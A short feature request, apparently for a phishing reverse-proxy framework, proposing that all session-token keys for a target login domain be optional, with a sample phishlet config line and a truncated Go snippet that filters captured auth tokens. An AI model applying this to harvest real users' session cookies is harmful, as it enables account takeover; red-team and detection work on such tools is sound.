Allow all KEYS to be optional for a domain

Allow all keys to be optional for a target domain and allow a complete session to be detected. For example, using the following configuration snippet in a phishlet with other required auth_tokens:

• domain: 'login.example.com' keys: ['key,opt']

• session.go

	tcopy := make(map[string][]AuthToken)
	for k, v := range authTokens {
		for _, at := range v {
			if !at.optional {
				_, isset := tcopy[k]
				if !isset {
					tcopy[k] = []AuthToken{}
				}
				tcopy[k] = append(tcopy[k], *at)
			}
		}